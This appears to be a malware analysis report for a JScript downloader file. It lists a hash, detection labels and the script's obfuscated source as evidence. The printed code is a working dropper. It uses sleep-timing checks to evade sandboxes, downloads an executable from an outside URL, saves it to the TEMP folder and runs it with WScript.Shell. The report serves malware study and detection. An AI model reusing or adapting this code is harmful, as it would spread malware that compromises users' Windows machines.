20160328_e3e65e549135fa03ff88803b0d5ad952.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-25691c3c239b9de4cadd86a52491b7e43c36c0283860a58e1f1cd99f924ebd24d07
Evidence
1var Cjbijrbjnr = false;
2var Nvzax = "CreateObject";
3var Whsaeazmc = function Xrqfqzose() {return WScript[Nvzax]("WScript.Shell");}();
4var Wdypu = 123213;
5var Agolusv = "MSXML2.XMLHTTP";
6var Kggbvplabz = 2123213;
7var Nsvymttr = 0;
8function Qhihmclnk(Hnawxhi){Whsaeazmc["Run"](Hnawxhi, Nsvymttr, Nsvymttr);};
9function Igqxwy(){return Agolusv;};
10function Nvmakyfv(Zrnesoysri, Hcetdgo){return Zrnesoysri - Hcetdgo;};
11function Fbppspfug(){return Nvzax;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Cjbijrbjnr = true;
15 @end
16@*/
17var Qmdxtgak = "";
18if (Cjbijrbjnr)
19{
20function Szpvyi(){return 22;};
21var Mamnkt = 0; var Rrlyghmdro = 0;
22function Jxqmstb()
23{
24var Sandm = new this["Date"]();
25var Mvghwzmdb = Sandm["getUTCMilliseconds"]();
26WScript["Sleep"](Szpvyi());
27var Sandm = new this["Date"]();
28var Jtkgkt = Sandm["getUTCMilliseconds"]();
29WScript["Sleep"](Szpvyi());
30var Sandm = new this["Date"]();
31var Uijfk = Sandm["getUTCMilliseconds"]();
32var Mamnkt = "Bmmbsgq";
33Mamnkt = Nvmakyfv(Jtkgkt, Mvghwzmdb);
34var Rrlyghmdro = "Rcsnv";
35Rrlyghmdro = Nvmakyfv(Uijfk, Jtkgkt);
36Qmdxtgak = "open";
37return Nvmakyfv(Mamnkt, Rrlyghmdro);
38}
39var Jvzcxplidi = false;
40var Mhyuw = false;
41for (var Vqyipc = Nsvymttr; Vqyipc < Szpvyi() * 1; Vqyipc++){if (Jxqmstb() != Nsvymttr){
42Jvzcxplidi …
49:9… xplidi && Jaworgazuo() && Mhyuw){
50function Rchyxsblm() {return Whsaeazmc["ExpandEnvironmentStrings"]("%TEMP%/") + "wjUeqCH1CWjvxx.exe";};
51 Aetuz = Igqxwy();
52 Xhaeccr = WScript[Nvzax](Aetuz);
53 var Rtofioq = 1;
54 while (Rtofioq){
55try {
56Xhaeccr[Qmdxtgak]("GET", "http://themesbin.com/k9sjaf", false);
57Xhaeccr["send"]();
58Ydjvmn = "Sleep";
59do {WScript[Ydjvmn](Szpvyi() * 11)} while (Xhaeccr["readystate"] < 4 );
60Rtofioq = Nsvymttr;
61} catch(Lllvn){Rtofioq = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Aqluae(Wpbemsmwg) {var Ivrwhuwlw = (1, 2, 3, 4, 5, Wpbemsmwg); return Ivrwhuwlw;};
64Xqksajs = WScript[Fbppspfug()]("ADODB.Stream");
65Aetuz = Xqksajs;
66Aetuz[Qmdxtgak]();
67Aetuz["type"] = Aqluae(1);
68Aetuz["write"](Xhaeccr["ResponseBody"]);
69Xqksajs["position"] = Aqluae(Nsvymttr);
70Aetuz["SaveToFile"](Rchyxsblm(), Aqluae(2) );
71Xqksajs["close"]();
72Qhihmclnk(Rchyxsblm());
73}
74}
75